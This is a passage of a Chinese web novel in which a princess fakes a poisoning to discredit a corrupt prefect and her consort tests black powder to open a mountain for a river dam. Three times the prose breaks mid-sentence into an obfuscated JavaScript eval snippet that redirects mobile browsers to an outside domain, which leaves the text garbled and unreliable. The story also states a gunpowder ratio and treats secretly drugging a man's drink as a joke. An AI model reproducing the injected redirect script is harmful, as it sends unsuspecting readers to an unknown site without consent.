“下毒的人不是明面上王大人派来的的那几个,而是混迹在流民中。不要声张,咱们也派几个兄弟扮成新招的工,平日里教他们多盯着些,尤其是饮食起居方面,等下我亲自去问中毒的几位老伯,看看他们都接触了谁,你教他们多留意。” “是!” “我倒要看看,他到底能藏多久。” 43. 以身入局 次日,玉垒山下。 “怎么样,安全么?” 自从李三三在粥碗中验出毒后,每次放粮前宋青瑛都会教她先检查一番。 “没问题。” 宋青瑛点了点头,觉得有些疲惫,今早明明粥中也没有异样,可还是又倒下了五个,眼瞧着流民之中的气氛越来越躁动,再这么下去,怕是他们也不会再信这种说辞。 粥煮得很扎实,稠乎乎的一碗,宋青瑛和几个大娘一起,将大锅中的米粥盛到木碗里,碗洗得还算干净,上面还带着些水渍。 宋青瑛突然停住了动作,心里突地一跳。 “手上的动作先停一停,”宋青瑛道:“大娘,我们这有点别的事,劳烦您几个先回帐休息片刻。” 请走了旁人后,李三三立刻凑了过来道:“有头绪了公主殿下?” 宋青瑛目光移向了那些空着的木碗。 / 是夜,天际太阳已悄然西沉,暮色照得云霭渲染一片紫金,一个跛脚的年轻人挑了两个将将盛了几十个木碗的大桶,一瘸一拐地向溪边走去。 这些流民饿久了肚子,碗里的粥都被舔得干干净净,这碗刷与不刷,其实看不出来什么,但年轻人仍然刷洗得很认真,生怕漏掉了一块污渍似的,完成一切后,他将木碗装好,在另一个桶中盛满清水,又在沉沉暮色中一瘸一拐地走回去了。 他没发现,有几道状似不经意的目光一直看向这里。 工人们都已经入帐休息了,有一个帐篷中隐隐约约传出木笛之声,声音清越婉转,引人精神一振,好几个工人拎着草垫子在已点着的篝火旁坐定聊着天,似乎没人注意这跛脚的洗碗工在做什么。 他咽了咽口水,在怀中取出一个纸包,十分自然地看了看四周,在放下木桶时指尖抖了抖,白色粉末便飘洒进了水桶之中,瞬息之间便溶于清水,了无痕迹。 他轻轻松了一口气,转身欲走,可在他回头的瞬间,小山一般的阴影便将他笼罩,他方欲喊叫,就已被掐住了脖子。 黑暗中,宋青瑛和李三三现了出来,那跛脚年轻人见是这两人,心里凉了一半,面色陡然灰败下来。 宋青瑛冲李三三微微点头,她便立刻会意,朝水桶走去,不出半炷香,她便言简意赅道:“水里有,碗是干净的。” 宋青瑛低声道:“是王大人派你来的?他给了你什么好处,有没有同伙?” 这年轻人被完全控制住,他喘了片刻粗气,方缓下来,只见其喉咙微动,似要言语。 李三三见势不妙,道:“不好!堵住他的......” 可惜已经晚了,吴钩急忙去掰他的嘴,但几乎是瞬息之间,藏在齿内的毒药已被咬破,他仿若旱河中的虾一般抽搐了几下,眼角和口鼻都流出血来,随后整个身体失去支撑,骤然软了下去。 眼睛却还是睁着的,像生来没有眼睑的鱼。 三人皆被这发生在瞬息之间的自戕惊得哑然数息,李三三率先咽了咽口水走上前,探了探鼻息,发表了毫不意外的结论:“这货死透了。” 宋青瑛紧了紧拳:“有几个大娘盛粥之前习惯将粥碗在清水中涮洗一下,正是这个原因,才教一些人染了毒,他方才洗得那么认真,应该也是惧怕被我们发现一部分粥碗有问题。那姓王的怕我们留下人证牵扯到他,竟然还用这种江湖中培养死士的手段。” 吴钩抬头问道:“殿下,那现在怎么办?” 宋青瑛按了按太阳穴,垂首道:“将这人埋了,别让他人看见,查一查他和谁走的近,别有漏网之鱼,这人是灌州还是蜀州人,家世如何,也派人查清楚。” 吴钩应了声“是”,找了麻袋将人裹了,扛在肩上走出帐外。 李三三口中大骂不止:“这杀千刀的狗官!这下我们没人证,说他下毒他肯定有千百理由推脱。我们要不要干脆告诉大家真相?人言可畏,我不信他能安之若素。” 宋青瑛摇摇头:“不可,你道那王大人为何尽管搜刮民脂民膏,却未曾引得百姓暴乱?皆因他还懂御民的那一套,蜀州城里也施过粥,只不过杯水车薪罢了,另外还有灌州林长史这个滥好人兜底,不至于把人逼得太过。我在蜀州听人讲过,这王大人探访民情似还哭过两回,施过几石粥米,把自己说得清廉无比十分可怜。从自己身上拔点汗毛施舍给穷苦人,再凭借给的这点甜头教灾民帮他做事。你瞧,真正被逼出蜀州的这些人要么年纪都不小了,要么多多少少患病或残疾,姓王的不收。这些跑出来的是万万活不下来了,他们心中比起埋怨他,说不定更觉得自己命苦。” 李三三骂了一句:“那怎么办?” 宋青瑛思考良久,有一下没一下地拿木碗舀着桶中的清水。 突然,他好像想通什么一般,露出一丝嘲讽般的笑来,随即在李三三目瞪口呆下,将木碗中的水送入口中! “你疯了!”李三三拦住宋青瑛,将木碗打落在地:“是不是姓韩的那家伙带坏了你?怎么胡来!知道有毒你还喝,干什么!” 宋青瑛笑了笑:“长宁公主与灾民同吃同住几日,突然卧床不起,险些丢了性命,皆因蜀州刺史给灾民发的是陈年霉米。你说,这件事算不算大?” 投毒之事没有证据,若公之于众还会引人恐慌。而霉米的确是从自王大人那边来,这不需要证据,再加上长宁公主这一尊贵的苦主,事态便大不一样了。 王刺史能把韩濯主张重修岷江堰这事捅成发下天子敕令的大事,那宋青瑛也能把王大人给韩濯使的绊子扣上陷害公主的帽子。 李三三沉默片刻,骂道:“疯了,你疯了......” 一边骂一边推搡道:“给我滚回去躺着,我现在就给你熬药,这玩意不出半个时辰就会发作,等你吐的时候就老实了......” 正在这时,一阵急促的马蹄声传来,正是从蜀州回来的韩濯。 她风尘仆仆,显然赶路赶得很急,可面色红润,神情还有些雀跃。 她先唤了宋青瑛一声,但看李三三面黑如锅底,疑惑道:“三三姑娘,出什么事了?” 李三三正愁没处发泄,骂道:“你这不要命老婆自己......” 还未待李三三说完,宋青瑛那边突然“啊”了一声,似乎很是痛苦。 李三三悚然一惊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14932699|156385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,侧脸看去,便见刚才还站得直溜溜的公主殿下被抽了骨头一般委顿于地,不省人事。 韩濯大骇,吓出了一身冷汗,忙下马将宋青瑛抱在怀里,急道:“怎么回事?” 李三三也蒙了,这毒发作这么快?再说也没听说这毒还有致人昏厥的作用啊? 她摸上宋青瑛的脉搏,正欲凝神细诊,却在旁人无法察觉的角落被什么东西挠了挠手心。 李三三茫然了一瞬,后知后觉地反应过来,气得发疯,这不要命公主是突然被韩濯撞上才自己心虚,怕韩濯生气便一晕了事,似乎还想请自己帮他演戏! 她愤愤起身:“你带他回去,我教人按方子熬药。” 韩濯心里不踏实,追问道:“阿瑛怎么样?” 李三三终于爆发:“没事没事没事!他爹个把的我一天听了多少怎么样怎么样怎么样?谁都问我怎么样!治病也就算了,你们两个的腻歪也得靠我!没酒喝还不给我加钱,我真不如去找张大成在寨里混算了!” 韩濯稀里糊涂听她发作一通,但也确信了宋青瑛没大事,略放下了心,小声嘟囔道:“什么腻歪?靠你什么了......” 说着不再废话,抱着貌似毫无知觉的宋青瑛上马,向二人住处而去。 宋青瑛一开始确实装晕,可韩濯身上十足暖和,他这几日一直一边为韩濯悬着心,一边处理这边投毒的事,就没怎么睡过囫囵觉,实在困倦,即便一路颠簸,还是真的睡了过去。 不过这一觉也没睡很久。 他伴着一阵难言的晕眩醒来,恶心的感觉教他两眼发花,实在没忍住,一歪头吐了出来。 宋青瑛已经躺在了自己的床褥上,韩濯在一旁面沉如水,像极了一尊活阎王,宋青瑛看着她的眼神,心知一定没瞒住,他有心开口解释,可被翻天的呕意打断,又吐了起来。 韩濯黑着脸帮他顺背,等他吐完,又把他扶着靠在枕头上,拿帕子帮他擦了擦,手中还稳稳当当端着温水,似乎是要喂他温水漱口。 宋青瑛被她这番弄得惶恐得要命,摇头想躲,却被强硬地扳住了脑袋,听那人无情道:“再乱动卸了你下巴。” 宋青瑛当然不信,但他怕韩濯生气,也没敢再动,只轻声道:“清之,我自己来。” 韩濯当然没动。 她说得吓人,手上却轻轻舀了一勺温水送到宋青瑛嘴边,待他漱干净,又不知从哪里掏出了点菊花花瓣教宋青瑛嚼一嚼。 宋青瑛在韩濯面前一直端成个神仙,这下可是腌臜了一回,十分不好意思,他仍然觉着晕眩恶心,可刚才已经吐无可吐,只好靠着床缓一缓。 “吐完了?”韩濯冷冰冰问道。 “清之,我......” “那喝药吧,喝完了我们再算账。” 宋青瑛苦了脸,委屈道:“清之,我现在是病号。” 韩濯挑眉:“自讨苦吃,便不要撒娇卖乖在我这讨便宜。” 宋青瑛无法,就着韩濯的手喝了一勺黑乎乎的药汁子,被苦得皱眉道:“可以不要一勺一勺来吗,好苦......” “不行。”韩濯冷漠道。 44. 旁门左道 “殿下的打算,我听已经听李三三说了。” 韩濯坐在床前,对躺下装死的宋青瑛道:“殿下胆子够大啊,臣真是自愧不如。” “我若是没撞上,殿下打算用什么理由打发你可怜的驸马?” 宋青瑛睁开眼,对上韩濯冻成冰块的脸,心虚地放软声音道:“没打算瞒你......” 听韩濯一声冷哼,宋青瑛急忙补道:“真的没有。” “殿下可曾想过,若你真有个三长两短,那我们所做的一切还有什么意义?万一他下的毒和之前那种不一样呢?你教我如何自处?殿下看着稳重,怎么现在也学会了鲁莽,不把自己的性命当回事?” 宋青瑛下意识想反驳,可看着韩濯被秋风吹得微红的眼眶,他话到嘴边忽然一笑,秃噜出来一句:“清之,你是不是心疼我?” 韩濯:...... 什么东西! 韩濯气得黑了一张脸,这小兔崽子不知怎么回事,和自己坦白身份之后就仿佛变了个人,原来的廉耻不知道藏哪里去了。韩濯不管给他什么反应都能面不改色地黏上来,得寸进尺蹬鼻子上脸不说,还长了一堆细细密密的心眼子,韩濯都快看不懂他了。 她二话不说便起身,可下一秒就被拉住了袖子。 宋青瑛将脑袋贴了上去,哼唧道:“清之,我头好晕......” 和谁学的,到底是和谁学的! 韩濯心中大骂不止,骂了宋青瑛,又恶狠狠诅咒了那写自己同人本子的罪魁祸首,一边暗骂,一边老老实实地坐了回去。 被这小崽子治了,韩濯暗道。 “你知不知道,”韩濯板着脸对贴着她的宋青瑛说道:“长太多心眼,就不长个子了。” 宋青瑛“嗯?”了一声,声音有些朦胧:“那若是我长不高,驸马是不是就不要我了?” 其实他并未说谎,此刻头昏眼花,恶心得要命,但好歹有个韩濯在旁边,他靠着就能缓过一点难挨似的。 韩濯无奈地在他发顶揉搓了一下:“看你表现。” 宋青瑛缓缓地睁眼,做出了一个可怜兮兮的表情:“啊?真的那么重要么......姚申就没你高啊,还有朗参军...好多人都没你高......” 韩濯道:“所以你晓得他们为什么一把年纪光棍一条了吧......小孩子家家别想这些,就算我不要你,堂堂公主殿下难道会在我这一棵树上吊死?” 宋青瑛顾不得头晕,急忙爬起来道:“你还是不信我?别把我的话当儿戏好不好,我是认真的......” “行了。”韩濯伸手,把宋青瑛按了回去,看他还欲起身辩解,一副神情惶急的模样,韩濯鬼使神差一般俯下身,在他额头用嘴唇轻轻贴了一下:“快睡吧。” 宋青瑛终于老实了。 “你不走了?” “不走了,等你睡着我再走。” / “腻歪完了?” 韩濯刚出门,就看见了臭着一张脸的李三三,她这些日子称得上是鞠躬尽瘁,忙得脚打后脑勺,今日终于找到罪魁祸首,才将将能把那些情况已稳定下来的病人托付给其他医师照料,整个人看上去憔悴了些,原本就有些毛燥的头发看上去更加乱蓬蓬。 “这些日子辛苦你了。”韩濯道:“走吧,请你喝酒。” 李三三没想到还有这种好事,眼前一亮,可随后警惕道:“不对,你会有这么好心?” 韩濯面无表情:“我在你心目中就是这样的人?告诉你哦,过了这村没这店。” 李三三咬了咬牙,最后还是跟上了大跨步向前的韩濯。 灌州城不算繁华,事实上还不如几个县大,自然也没有蜀州和西京那等夜夜笙歌的景致,二人只随便挑了一家小店坐定。说是小店,不过是一个小茅屋,随意围出一个小院子,其中随随便便零落着谈不上整齐的木桌板凳,茅屋上插着一面酒旗,借着院子里笼着的火堆的光来看,已经脏污得几乎看不清原来是什么模样。 李三三甫一进门,眼睛就亮了,醇厚的酒香几乎是凝在了空中,似乎教人闻见便已醉倒。 韩濯道:“老板,温一壶好酒,二两长生果,一碟油笋,再下一碗素面。” 那老板是个瞎了一只眼的老头,闻声应了句“欸”,动作却利索,不一会儿便将一壶酒并几样小菜端了上来。 李三三二话不说,先灌了一杯,入口醇绵,回味无穷,她舒服地叹了一声,感觉周身都松快了起来,浑身筋骨都仿佛泡在了酒液里,绷紧了好几日的神经终于有所和缓:“好酒。” 她见韩濯只是埋头吃面,疑惑道:“你不喝么?” 韩濯摇了摇头:“现在不是贪杯的时候,我吃碗面垫垫肚子便好。” 随后,韩濯夹了几粒烤得焦香的长生果进嘴,嘎嘣嘎嘣嚼了,状似无意道:“近来天气不错哈,对了你是不是和张大成还有联系。” 李三三顿时放下酒壶,咬牙切齿看向韩濯道:“你果然没安好心,说吧,要干什么。” 韩濯嘿嘿一笑,道:“你是医师,却做个道姑打扮,所以你应当也知道火/药的炮制之术吧.....” 韩濯此次去蜀州,不仅仅对王大人使了绊子出了口恶气——当然,为了出这口恶气使用的手段并不算正大光明,她不打算教宋青瑛知道——还顺便一路视察了岷江堰欲设工事的实地,她有些绝望地发现,除了玉垒山瓶口堵塞,在岷江将要支流的水程中,地动也造成了其他两处山峡合并,虽然没有玉垒山大,但按照原来方法,无疑要耗费更多时间和人力。也就是说,她多了一处山要挖,除此之外,变得直来直去的水道失去了蜿蜒的缓冲,雨季极有可能造成洪涝冲毁农田,她必须尽快在开春之前重塑河道。 韩濯发现这一点时,起初有些心灰意冷,怅然想道:“若是在21世纪,挖个山通个路不过几天时间,譬如铁路隧道,只是一包炸/药的事罢了。” 想到这点,她突然福灵心至:没错啊,人力所不能及,火/药可以!即便是外国佬搞的那种稳定的T/N/T以目前的技术短时间不大成,但黑火/药总是没问题的! 更何况她记得这东西精确的配比率,一成硫磺,一成半木炭,再加上七成半硝石,若有火/药量半数的白糖提供热能,那爆炸的威力将提高数倍! 木炭自不必说,那硝石来不及费心力用草木灰和硝土现制备,只需和硫磺一样在药铺集中采买便好,至于白糖,这灌州大多数人家是吃不起许多的,但自然可以去找王大人讨要,天子既然已下敕令,王大人配合韩濯工作是应该的,再加上宋青瑛这一出苦肉计,不愁他不吐出来更多好处。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14938223|156385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >但话说回来,王大人派的人,她也不敢再用,一来此人性情诡诈,若再对韩濯使坏怕更是难办,二来王大人之所以对她动手,并不仅仅是心疼他积攒的几个臭钱而心生怨怼,更多的是怕韩濯长时间的要挟,生怕这样下去一而再再而三,最后自己的命脉被他人掌握,岂能睡得安稳?韩濯若是再把他的羊毛薅狠了,姓王的狗急跳墙,不一定做出什么事来,他们这有个金尊玉贵的公主殿下,可是玩不起命的。 因此,河流改道这事,若是黑山寨里的那些“义匪”能帮忙,岂不是解了韩濯的燃眉之困? 李三三听完了韩濯一通解释,本来就大的眼睛几乎瞪出了眼眶,骂道:“你是不是疯了,真是什么人都敢用啊,你也不怕人家说你是官匪勾结......” “嘘!”韩濯环顾四周,确认无人后叹了一口气:“没办法嘛!我没钱没人,黑猫白猫,能抓耗子的就是好猫,再说了他们乔装一下未必有人知道,那张大成对你不错,你要是请他帮忙他一定会......” “我呸!”李三三摔了碗:“你这就不地道了吧,你说,你这是不是出卖朋友?” 韩濯赶紧把她拉住:“对不住啊对不住,我知道我这么做不太好,可是我看后来你和他聊得挺不错的啊,再说了我们几个里面你脸皮最厚,想来一定能开得了这个金口......” “你大爷的说谁脸皮厚呢!”李三三骂道:“你个瓜兮兮神搓搓的玩意儿,一天天不知道想些什么!和你老婆一个德行,是不是这些名人大能的后代都是黄鼠狼下耗子,普遍一窝不如一窝?我看你们俩都平白长了一张好皮囊,里面装的全是老娘隔夜屙的粑粑!” 这话实在太糙,但韩濯理亏在先,只能窝窝囊囊等她骂完,然后幽幽来一句:“那你帮是不帮?” 李三三刚骂累了,听韩濯这么一说又要张嘴开骂,还没等她重振雌风,只听韩濯又道:“只是一句话的事,便能活万万人性命,这种功德,你身为医者真的不积一积?我想若是你师父他老人家,一定二话不说全力以赴。” 李三三几乎要把破碗捏碎,狠狠看了一眼韩濯,沉默地坐了回去。 “这就对了嘛!”韩濯欣喜地上前,及其狗腿地给李三三满上一杯:“我的姑奶奶,神仙奶奶,小生此番全仰仗您了。” 李三三被她气得想笑,无奈骂了一声娘,心道:“我当初,可真是上了这两人的贼船了。” 不过她比想象中的要高兴。 “对了,我插一嘴。”李三三火气来得快去得也快,问道:“你对王大人做什么了?快说出来听听教我也痛快痛快。” 韩濯心情大好,抛了颗长生果扔进嘴里,道:“我说给你,但你千万别告诉殿下。” 李三三挑眉:“哦?” 韩濯神秘兮兮压低声音道:“我把那迷药泻药春/*药都混起来给他下到酒里了,那时他正在醉春楼嫖/%妓,你猜猜看这三种药哪个先发作?什么时候发作?” 李三三被韩濯丰富的想象力震惊了,细细品味一番后笑得花枝乱颤:“损......哎呦我的天......太损了!你没被他发现吧......” 韩濯回想起来,还是忍不住乐道:“放心,他连我影儿都没见到,我觉得这回够他呛,一把年纪光是一把泻药我觉得就能拉去半条命......” 45. 重整旗鼓 长宁公主病了的消息,很快传遍了灌州。宋青瑛平日里衣着朴素十分低调,那些被招工的流民没有料到,之前每日里布粥的少女竟然是大名鼎鼎的公主殿下。 那姑娘生得一副教人不敢亵渎的神仙摸样,心眼也好,被他们私下里一口一个“活菩萨”地叫来叫去,这些工人听说此事,第一时间诧异十分,接着便替宋青瑛万分不平了起来。试问这天底下有几个老爷大人能做到和自己这帮泥腿子一起吃糠咽菜,患难与共?更何况这长宁公主是当今圣上的亲闺女,一人之下万人之上的尊贵,爱民亲民至此,如何不教他们这些受尽官府欺压之人动容? 一时间,王刺史的名声在灌州臭了个彻底,就连蜀州也一股脑涌出了不少讥讽他的诗文,墙倒众人推,王大人过往消极怠政,搜刮民脂民膏的丑事全部秋后算账一般被挖了出来,甚至有人猜测出他贪私赈灾银款的秘事。但王大人那边任流言满天飞,闭门不出几乎半月,据说是因心力交瘁而一病不起。 只有韩濯知道,他是真的病得够呛。 “这狗屁大人定是自己心虚,丑事被人揭露无可辩驳,要我说,像他这种狗官,不如真的一病不起被阎王爷收了才解气!” 韩濯某一日在玉垒山下,听闻几个聚在一起扯闲话的工人说道。 其余几个纷纷附和,见到韩濯,忙站起身道:“韩大......驸马爷。” 随着宋青瑛的身份已为众人所知,韩濯自然被对号入座扣上了驸马爷的名头,韩濯微微欠身,和煦道:“诸位不必如此客气,敢问徐老伯的身体可还大好了?” 她彬彬有礼,毫无架子,周身气度又极温雅,还竟然愿意记挂他们这些无家可归的穷苦人,工人们先是惶恐,随后忙不迭道:“好,好,已能下床走路,多亏驸马爷关照......” 韩濯刚刚接下从蜀州运来的硝石,硫磺,白糖等物,心情大好,笑着道:“诸位不必如此客气,我雇诸位重修水利工事,自然该对诸位生死负责,何须谈谢?若非要谢,不妨谢谢李姑娘的药......更何况说起来,还是我要谢谢诸位这些日子来的辛苦,新的米粮已经送来,请诸位放心,往后定不会教诸位再有性命之虞。” 说着,韩濯俯下身深深一拜。 “这怎么使得,韩大人......您可真是折煞我们了......”众人七手八脚地将韩濯架了起来,为首一个中年的汉子急切问道:“公主殿下如何了,她要不要紧?” 韩濯笑了笑:“殿下已无大碍,虽偶尔仍会有目眩,但从昨日起已能下床走上几步,多谢诸位记挂。” 众人展眉笑了起来,韩濯待人亲厚,他们相处起来也没了诸多顾忌,兴高采烈道:“没事便好,殿下如此宅心仁厚,吉人自有天相,老天定会保佑,还请驸马爷把咱们大伙儿的话带到,这些日子来,大伙儿可都记挂着殿下呢......” 韩濯一一拱手谢过,笑道:“诸位可别助着他了,昨日才刚能下榻,便缠着要过来帮忙,您说说我们这儿这么多姊妹兄弟,怎能差殿下一位病号就运作不了?我好说歹说才劝住,这会子还生我的气呢。” 说着装模作样叹气摇头,露出了一点属于少年人的顽皮来,引得众人一片哄笑。 “这些日子苦了诸位,但重修岷江堰,本就是为了蜀州生民不再有饥馑之患,若开春前能完工,那明年必会五谷丰登,衣食饱足,我虽不愿劳动百姓,可岷江堰一日不成,饥民便会受苦一日,诸位若能助我一臂之力,他年定能史书留名,功德无量。” 众人群情激昂,纷纷表示定当竭力以赴。 这时,韩濯越过众人,看见吴钩站在不远处,似有话要说。 韩濯告辞了几个工人,走到吴钩近前,打了声招呼。 “二公子,你之前叫我查的那个跛了脚的年轻人......” 韩濯先抬手打断了他,环顾四周,带他来到一个较为偏僻的山脚下。 “我们已经查明白了,他是蜀州人,娶过妻,不过好似因着灾荒跑了,家里只剩一个瞎眼老母,几日前他们家突然添了田产,他那老母也雇了人照顾,这人性子孤僻,似乎在工人里也没几个朋友......” 韩濯叹了口气,道:“他母亲还不知道他去世的消息吧。” 吴钩愣了一下,没想到韩濯竟然问起这个事,回道:“是。” “那劳烦请人隔段时间去看看她,有什么困难帮衬些,这年头走投无路的人太多了,她儿子虽然做了混账事,却也是一片孝心......” 吴钩应了声“是”,又道:“已经依着殿下的意思,派人好好盯着了,暂时没发现什么可疑的人。” 韩濯揉了揉眉心道:“兄弟们也辛苦了,记得月末提醒我一下,给他们多发些银钱。” 交代一番后,韩濯转身欲走,却对上了吴钩一脸十分怪异的表情。 韩濯挑了挑眉毛,觉得稀奇,吴钩这副有话说不出的模样实在难得一见。 “吴钩兄弟,你还有什么事?但说无妨。” 吴钩一张木头脸微妙地抽动几下,道:“我听三三姑娘说,二公子要去请黑山贼帮忙。” 韩濯心里打了个突,李三三这个大嘴巴,虽然吴钩不是外人,但找山匪做事,毕竟不算光彩。 韩濯硬着头皮“嗯”了一声,道:“我不打算再继续找姓王的拨人,想着若这些‘义匪’能帮衬一二,总是好事。” 吴钩沉默片刻,冷不丁道:“二公子是不是对我不放心?” ?! 韩濯差点没咬到舌头:“何出此言?” “我一直带着弟兄们帮二公子和殿下做事,但二公子为何还要求助于这些盗匪?又为何只将此事告诉了李姑娘?是我们能力不足还是......” 韩濯简直哭笑不得,她哪里想过有朝一日吴钩也能生出这种类似吃醋的心理?她忙道:“这些日子多亏了你们才叫我没了后顾之忧,感激还来不及,怎会不信任?只是即使弟兄们人人一个能当两个用,也架不住我这边时间紧任务重,你还不知道吧,天子敕令,教我开春前完工,那张大成对李三三蛮特殊,所以我才派了人护送,派她出马去请人。” 吴钩听了一番话,先是被敕令一事惊了一下,随后后知后觉有些不好意思,方欲说话,便听韩濯笑着道:“不过这么些日子,还真没对你正式说过谢谢。” 吴钩猛地抬头,看着韩濯拍了拍他的肩膀:“你性子沉闷了些,对你有所忽略实是我的不是,他年我若能卷土重来,定不会忘记吴钩兄弟在我落魄时的情义。” “我......我不是这个意思,二公子......” 韩濯笑了笑:“知道,没什么事的话,我先回去了,有些东西没处理完,还得顺便看看殿下。” / 火/药的材料,这几日早已备好,面对这易燃易爆的危险品,韩濯在炮制时自然万分小心,小心翼翼地磨粉,小心翼翼混合,还小心翼翼地注意千万别教它受潮,到了试验的这一日,韩濯提前清了场,亲自找好爆破点,将制好的炸/药小心放置。 宋青瑛已经没有大碍,此番也陪着韩濯前来,吴钩和几个手下弟兄也同样在侧,韩濯最后在爆破点百余 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14951475|156385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 米立定,取出父亲留下的那把弓。 箭尖涂满了火油,宋青瑛看着韩濯弯弓搭箭如满月,跳动的火苗几乎要舔上她的拇指。 “能射中么?”周围几个私兵都满腹疑云,百米之距,自然在射程之内,可那药包实在太小,他们抻长了脖子,却根本看不清那东西藏在了哪个犄角旮旯。 韩濯凝神静气,右眼微眯,此时的她仿佛凝成了一座石山,额角的碎发便是山间随风摇曳的草木,时间在她身上冻结凝实,宋青瑛不由得屏住了呼吸。 韩濯动了。 “嗖”地一声,铁剑携卷着爆裂的火焰,朝山脚奔去,众人还没来得及看清这箭矢没入了哪里,只听“轰隆”一声巨响,山脚下一阵火光,浓烟乍起。 射中了! 众人不由得拍手叫好,韩濯也松下一口气,率先走上前查看。 她走得很快,等众人也到了她身边时,方要出声询问,却见韩濯的表情十分凝重。 方才那一下爆炸,听着声势浩大,留下了一片草木的焦黑,可比韩濯预想的威力实在小了太多。 爆破点处还是曾经受过烈火焚烧冷水浇壁的反复磋磨,也仅仅只是塌下了一小片,若要达到山崩石碎的程度,需要的火/药量少说也要十倍,一处爆破需要这些,那两座山,十余个爆破点,又要耗去多少材料? 为什么和预想的威力相差这么多? 韩濯恍若无人般抬脚便走,连旁人喊她都没听见。 吴钩与几个私兵面面相觑,谁也不知道怎么办,宋青瑛叹气道:“诸位先回去,我陪着她,不用担心......” 难道是纯度问题?古代提纯的技术有限,硝石,硫磺,还有木炭......这些东西里面杂质太多,定会影响最佳比例的称量,或者与空气接触面积太小?不行,得回去试试做得扁一些成不成,但蜀中湿气重,受潮了怎么办? 韩濯一路心事重重,多亏宋青瑛领着才迷迷糊糊回了住处,脑子里全然装不下其他事。 宋青瑛暗叹此人真要走火入魔,眼看太阳将要西沉,便留她一人在房,去厨房下了碗面去。 等宋青瑛端着面回到房间,见韩濯撅着腚在床上对着一张纸写写画画,似乎然已经全然忘我,嘴里嘀咕道:“提纯这事还是有些难度,短时间内怕是不太成,要是能批量生产硝/酸/钾就好了......” 什么玩意乱七八糟的?宋青瑛觉得云里雾里好似在听韩濯冒胡话,虽然不想搅扰,但日已西沉,光线也暗了起来,他轻声道:“清之,先吃碗面,点了灯我们再一起想,好不好?” 屋子里突然亮了起来,韩濯回神,见正是宋青瑛点了灯,她刚才太过忘情,此刻才反应过来自己已从玉垒山下回到了房中,一时有种回到人间的恍惚。 宋青瑛叹着气将面碗朝她挪了挪:“清之,叫了你好几声都不应,这面你再不吃就没法吃了。” 韩濯回过神,道了声歉,接过了宋青瑛手中碗筷。 宋青瑛不说话,也替她苦恼着玉垒山开凿之事,韩濯没动筷子,愣愣瞧着宋青瑛的脸。 宋青瑛回过神来,见被人盯着瞧,瞬间不好意思起来,可下一秒韩濯伸手,抹掉了他脸颊沾上的面粉。 “清之,你......” 韩濯没看宋青瑛,也没说话,只是对着手上的面粉粒发呆,忽然之间毫无预兆蹦了起来,吓了宋青瑛一跳。 “清之?” 韩濯似乎浑身颤抖,按住了他的肩膀,神情狂喜。 “阿瑛,有办法了阿瑛,太谢谢你了,你真是我的大福星!” 46. 石破天惊 张大成手下的人没想到,他们来灌州干的第一件事,竟然是拉磨。 对,拉磨。 张大成对李三三果然讲义气,二话没说便答应了借人,一溜成日里打打杀杀的壮汉被迫摘了红巾,作了平民打扮,站在朗祁月面前时,仍掩不住习惯了的凶神恶煞。 朗祁月看得眉心不停抽搐,转过头去看若无其事的韩濯,眼神充满疑惑。 到底是哪家灾民吃得这么好?胳膊上的肌肉比他脑袋还大。 韩濯心虚地回避了他的目光。 张大成说不定派的都是精锐,连韩濯都有了一种杀鸡用牛刀的错觉,秸秆,稻壳......整整齐齐地被码成一堆又一堆,一把一把被铡成小段,再将它们磨成细粉,装在麻袋里。 “这......是要做猪食么?”朗祁月实在没忍住,问道。 虽然看这些人的样子,更像是要杀猪。 韩濯尴尬地咳了咳“这倒不是,能不能成,还要看实际情况如何。” 九月初三,大风。 韩濯等人再一次站在了玉垒山下。 十几个装满了稻谷壳细粉的麻袋被吊在山岩上,之前制备的火/药有的绑在麻袋上面,有的填在了凿好的石洞内......百米之外,韩濯又一次拉开了弓。 只听得连续几声箭尖划过空气的呼啸,数袋稻壳灰袋应声而落,在空中撕裂破碎,砸在地上,激起四起的烟尘。 可没有什么其他的响动了。 围观的人窃窃私语,那几个已成为“良民”的山匪更是皱紧了眉头,他们原以为自己被借过去真能做点什么李三三口中“利在千秋”的大事,难不成铡了三四天的谷壳,就是为了看这小白脸变戏法? 风刮得越来越大,越来越狂,几乎将地上散落的稻壳灰卷得漫天都是,韩濯这才接过吴钩点燃的三支火箭,弯弓搭箭,几乎没有瞄准时间,三箭齐发! 